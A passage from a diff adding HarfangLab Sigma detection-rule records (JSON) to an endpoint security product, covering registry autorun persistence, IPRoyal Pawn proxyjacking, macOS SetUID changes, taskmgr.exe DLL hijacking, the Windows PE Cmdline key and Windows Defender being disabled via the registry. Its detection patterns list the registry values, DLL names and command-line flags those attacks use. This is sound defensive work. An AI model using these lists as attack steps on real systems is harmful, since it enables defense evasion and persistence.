\\SystemRoot\\WinSxS\\reboot.xml'\n\n    exclusion_ccmexec:\n        - ProcessImage: '?:\\Windows\\CCM\\CcmExec.exe'\n        - ProcessParentImage: '?:\\Windows\\CCM\\CcmExec.exe'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d6fc4ccc-d2d2-4d91-9b2f-320f5783914e",
+  "rule_name": "Uncommon Registry Autorun Key Added",
+  "rule_description": "Detects when an uncommon entry is added/modified in one of the autostart extensibility point (ASEP) in the registry.\nAttackers may achieve persistence by referencing a program with a registry run key.\nIt is recommended to investigate the process that added the key as well as the target of the registry key for malicious content.\n",
+  "rule_creation_date": "2025-05-19",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d71d45eb-8dcf-40b0-a210-65568b8951db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613749Z",
+  "creation_date": "2026-03-23T11:45:34.613753Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613760Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking",
+    "https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_iproyal_pawns_usage.yml",
+  "content": "title: IPRoyal Pawn Executed\nid: d71d45eb-8dcf-40b0-a210-65568b8951db\ndescription: |\n    Detects the usage of IPRoyal Pawn, a residential proxy service that allows users to sell their internet bandwidth in exchange for money.\n    Attackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\n    It is recommended to verify if the usage of this tool is legitimate in your infrastructure.\nreferences:\n    - https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking\n    - https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2024/09/26\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.PUA.Iproyal\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains|all:\n            - ' -accept-tos'\n            - ' -email=* -password=* -device-name=*'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d71d45eb-8dcf-40b0-a210-65568b8951db",
+  "rule_name": "IPRoyal Pawn Executed",
+  "rule_description": "Detects the usage of IPRoyal Pawn, a residential proxy service that allows users to sell their internet bandwidth in exchange for money.\nAttackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\nIt is recommended to verify if the usage of this tool is legitimate in your infrastructure.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d727b5c5-7895-4a53-8cc9-7d2969985af0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618307Z",
+  "creation_date": "2026-03-23T11:45:34.618309Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618313Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md",
+    "https://attack.mitre.org/techniques/T1548/001/"
+  ],
+  "name": "t1548_001_setuid_macos.yml",
+  "content": "title: SetUID Access Flag Set\nid: d727b5c5-7895-4a53-8cc9-7d2969985af0\ndescription: |\n    Detects the SetUID bit being set on a file.\n    This could be used by an attacker to execute a file with a different (and potentially more privileged) user context.\n    It is recommended to analyze the targeted binary as well as the process responsible for the setting change and look for privilege escalation and malicious binaries.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md\n    - https://attack.mitre.org/techniques/T1548/001/\ndate: 2024/09/17\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.001\n    - attack.defense_evasion\n    - attack.t1222.002\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.PrivilegeEscalation\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection:\n        Kind:\n            - chmod\n            - chmod2\n        PrettyMode: '??S??????'\n        ProcessImage|contains: '?'\n\n    exclusion_install:\n        Image: '/private/tmp/PKInstallSandbox.??????/Scripts/*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d727b5c5-7895-4a53-8cc9-7d2969985af0",
+  "rule_name": "SetUID Access Flag Set",
+  "rule_description": "Detects the SetUID bit being set on a file.\nThis could be used by an attacker to execute a file with a different (and potentially more privileged) user context.\nIt is recommended to analyze the targeted binary as well as the process responsible for the setting change and look for privilege escalation and malicious binaries.\n",
+  "rule_creation_date": "2024-09-17",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1222.002",
+    "attack.t1548.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d72d9c8c-0806-4dc7-878b-8b8304d2c8c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600771Z",
+  "creation_date": "2026-03-23T11:45:34.600775Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600783Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_taskmgr.yml",
+  "content": "title: DLL Hijacking via taskmgr.exe\nid: d72d9c8c-0806-4dc7-878b-8b8304d2c8c4\ndescription: |\n    Detects potential Windows DLL Hijacking via taskmgr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'taskmgr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\d3d11.dll'\n            - '\\d3d12.dll'\n            - '\\duser.dll'\n            - '\\dxcore.dll'\n            - '\\dxgi.dll'\n            - '\\pdh.dll'\n            - '\\UxTheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d72d9c8c-0806-4dc7-878b-8b8304d2c8c4",
+  "rule_name": "DLL Hijacking via taskmgr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via taskmgr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d740ee29-1ab1-4218-97b9-68c90731d0fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089061Z",
+  "creation_date": "2026-03-23T11:45:34.089063Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089068Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://oofhours.com/2020/12/03/windows-pe-startup-revisited/",
+    "https://slightlyovercomplicated.com/2016/11/07/windows-pe-startup-sequence-explained/",
+    "https://attack.mitre.org/techniques/T1547/"
+  ],
+  "name": "t1547_setup_cmdline_key_set.yml",
+  "content": "title: Cmdline Registry Key Related to Windows PE Startup Modified\nid: d740ee29-1ab1-4218-97b9-68c90731d0fd\ndescription: |\n    Detects a modification of the registry key related to Windows PE startup.\n    Adversaries may modify the Cmdline registry key to execute malicious code early in the Windows boot sequence as a persistence mechanism or to gain privileged access.\n    It is recommended to check the process making the modification for other suspicious purpose and for suspicious children process of Winlogon.exe if the machine was rebooted.\nreferences:\n    - https://oofhours.com/2020/12/03/windows-pe-startup-revisited/\n    - https://slightlyovercomplicated.com/2016/11/07/windows-pe-startup-sequence-explained/\n    - https://attack.mitre.org/techniques/T1547/\ndate: 2024/07/23\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1547\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\system\\setup\\cmdline'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_osdsetuphook:\n        ProcessImage: '?:\\Windows\\System32\\OSDSETUPHOOK.EXE'\n        Details: 'system32\\osdsetuphook.exe /execute'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\\\*.exe'\n        Details: 'OOBE\\SetupPlatform\\SetupPlatform.exe /rollbackonlinesystem'\n\n    exclusion_windeploy:\n        # ProcessImage:\n        #     - '?:\\Windows\\System32\\oobe\\windeploy.exe'\n        #     - '?:\\Windows\\System32\\Sysprep\\sysprep.exe'\n        #     - '?:\\Windows\\System32\\CloudExperienceHostBroker.exe'\n        Details:\n            - 'oobe\\windeploy.exe'\n            - '?:\\Windows\\system32\\oobe\\windeploy.exe'\n\n    exclusion_smstspostupgrade:\n        ProcessGrandparentImage:\n            - '?:\\Windows\\System32\\oobe\\windeploy.exe'\n            - '?:\\Windows\\System32\\winlogon.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\cmd.exe'\n        ProcessImage: '?:\\Windows\\System32\\reg.exe'\n        Details:\n            - '?:\\WINDOWS\\SMSTSPostUpgrade\\setupcomplete.cmd'\n            - '?:\\Windows\\SMSTSPostUpgrade\\setuprollback.cmd'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d740ee29-1ab1-4218-97b9-68c90731d0fd",
+  "rule_name": "Cmdline Registry Key Related to Windows PE Startup Modified",
+  "rule_description": "Detects a modification of the registry key related to Windows PE startup.\nAdversaries may modify the Cmdline registry key to execute malicious code early in the Windows boot sequence as a persistence mechanism or to gain privileged access.\nIt is recommended to check the process making the modification for other suspicious purpose and for suspicious children process of Winlogon.exe if the machine was rebooted.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d7778b81-d88b-4182-8bf9-14ade4b1124c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622649Z",
+  "creation_date": "2026-03-23T11:45:34.622651Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622656Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_defender_disable_registry.yml",
+  "content": "title: Windows Defender Disabled in Registry\nid: d7778b81-d88b-4182-8bf9-14ade4b1124c\ndescription: |\n    Detects Windows Defender being disabled using the registry.\n    Attackers might disable Windows Defender to evade detection.\n    It is recommended to investigate the process responsible for the registry modification, as well as to look for other suspicious activities on the host.\nreferences:\n    - https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2020/09/25\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_global:\n        EventType: SetValue\n        TargetObject:\n            # Legacy global toggle\n            - 'HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware'\n            # Real-time monitoring toggle\n            - 'HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableRealtimeMonitoring'\n            - 'HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableRealtimeMonitoring'\n            # For registry/events/process monitoring\n            - 'HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring'\n            - 'HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring'\n            # For process scan when realtime monitoring is turned on again\n            - 'HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScanOnRealtimeEnable'\n            - 'HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScanOnRealtimeEnable'\n            # For files/programs activity monitoring\n            - 'HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableOnAccessProtection'\n            - 'HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableOnAccessProtection'\n            # For downloaded files\n            - 'HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIOAVProtection'\n            - 'HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIOAVProtection'\n        Details|contains: 'DWORD' # Any non-zero value works, not just DWORD (0x00000001)\n\n        # When the agent is under a lot of pressure, the parent information of a process can be missing.\n        # Exceptionnaly for this rule, because it triggers so frequently with a low severity, we will ignore\n        # its instances where the parent is missing.\n        # When the parent is missing, the ParentImage or ParentCommandLine field is also missing (it is not empty or null)\n        # so we can't easily match against that.\n        # Instead, we reverse the problem by requiring the ParentImage fields to contain a `\\`.\n        ProcessParentImage|contains: '\\'\n\n    #\n    # DisableAntiSpyware is deprecated in recent versions of Windows 10.\n    # Setting this value to true will not change Microsoft Defender Antivirus behavior on client devices (both managed and unmanaged). This setting only applies to Windows Server.\n    #\n    # DisableAntiSpyware is intended to be used by OEMs and IT Pros to disable Microsoft Defender Antivirus and deploy another antivirus product during deployment.\n    # So, the presence of another antivirus product led to set this value by MsMpEng.exe.\n    #\n    # https://docs.microsoft.com/en-au/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-disableantispyware\n    # https://www.windowslatest.com/2020/08/19/microsoft-retires-disableantispyware-for-windows-defender/\n    #\n\n    selection_antispyware:\n        EventType: SetValue\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows Defender\\DisableAntiSpyware'\n        Details|contains: 'DWORD' # Any non-zero value works, not just DWORD (0x00000001)\n    filter_antispyware:\n        Image|endswith: '\\MsMpEng.exe'\n        ProcessIntegrityLevel: 'System'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n\n    filter_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_msmpeng:\n        Image:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n            - '?:\\Program Files\\Microsoft Security Client\\MsMpEng.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        - ProcessOriginalFileName: 'CcmExec.exe'\n          ProcessUserSID: 'S-1-5-18'\n          ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n        - ProcessAncestors|contains: '|?:\\Windows\\CCM\\CcmExec.exe|'\n\n    exclusion_setupplatform:\n        Image|endswith: '\\Sources\\setupplatform.exe'  # C:\\$WINDOWS.~BT\\Sources\\setupplatform.exe\n\n    exclusion_avast:\n        Image:\n            - '?:\\Program Files\\Avast Software\\Avast\\wsc_proxy.exe'\n            - '?:\\Program Files\\AVG\\Antivirus\\wsc_proxy.exe'\n            - '?:\\Program Files\\AVAST Software\\Avast Business\\wsc_proxy.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Avast Software s.r.o.'\n            - 'AVG Technologies USA, LLC'\n\n    exclusion_trend_micro:\n        Image: '?:\\Program Files (x86)\\Trend Micro\\\\*'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    exclusion_defender:\n        ProcessParentImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseCM.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\SenseCM.exe'\n\n    exclusion_deviceenroller:\n        - ProcessCommandLine|startswith: '?:\\WINDOWS\\system32\\deviceenroller.exe /o ????????-????-????-????-????????????'\n          ProcessParentCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n        - ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n          ProcessParentImage: '?:\\Windows\\system32\\svchost.exe'\n\n    exclusion_svchost:\n        ProcessCommandLine: '?:\\WINDOWS\\System32\\svchost.exe -k secsvcs'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_omadmclient:\n        ProcessImage: '?:\\WINDOWS\\system32\\omadmclient.exe'\n\n    exclusion_wapt:\n        ProcessParentImage: '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n\n    exclusion_mousocoreworker:\n        ProcessOriginalFileName: 'MoUSOCoreWorker.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_msiexec:\n        ProcessCommandLine:\n            - '?:\\Windows\\syswow64\\MsiExec.exe -Embedding ???????????????????????????????? E Global\\MSI0000'\n            - '?:\\Windows\\System32\\MsiExec.exe -Embedding ???????????????????????????????? E Global\\MSI0000'\n        ProcessParentCommandLine: '?:\\Windows\\system32\\msiexec.exe /V'\n\n    exclusion_santivirus:\n        ProcessImage: '?:\\Program Files (x86)\\Digital Communications\\SAntivirus\\SAntivirusService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Digital Communications Inc'\n\n    exclusion_emsystem:\n        ProcessImage: '?:\\Program Files\\AppSense\\Environment Manager\\Agent\\EmSystem.exe'\n\n    exclusion_userprofile_config:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_windows_management:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s WManSvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ansible:\n        ProcessCommandLine|contains:\n            # \"Ansible requires PowerShell v3.0 or newer\" UTF-16LE with all 3 offsets\n            - 'QQBuAHMAaQBiAGwAZQAgAHIAZQBxAHUAaQByAGUAcwAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADMALgAwACAAbwByACAAbgBlAHcAZQByA'\n            - 'EAbgBzAGkAYgBsAGUAIAByAGUAcQB1AGkAcgBlAHMAIABQAG8AdwBlAHIAUwBoAGUAbABsACAAdgAzAC4AMAAgAG8AcgAgAG4AZQB3AGUAcg'\n            - 'BAG4AcwBpAGIAbABlACAAcgBlAHEAdQBpAHIAZQBzACAAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMwAuADAAIABvAHIAIABuAGUAdwBlAHIA'\n\n    exclusion_loadstate:\n        ProcessOriginalFileName: 'LoadState.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_intune:\n        ProcessImage: '?:\\Windows\\System32\\omadmclient.exe'\n\n    condition: (selection_global or (selection_antispyware and not filter_antispyware)) and not filter_zero and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d7778b81-d88b-4182-8bf9-14ade4b1124c",
+  "rule_name": "Windows Defender Disabled in Registry",
+  "rule_description": "Detects Windows Defender being disabled using the registry.\nAttackers might disable Windows Defender to evade detection.\nIt is recommended to investigate the process responsible for the registry modification, as well as to look for other suspicious activities on the host.\n",
+  "rule_creation_date": "2020-09-25",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d780843d-b5c3-477b-bfc0-6468888ffaa0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
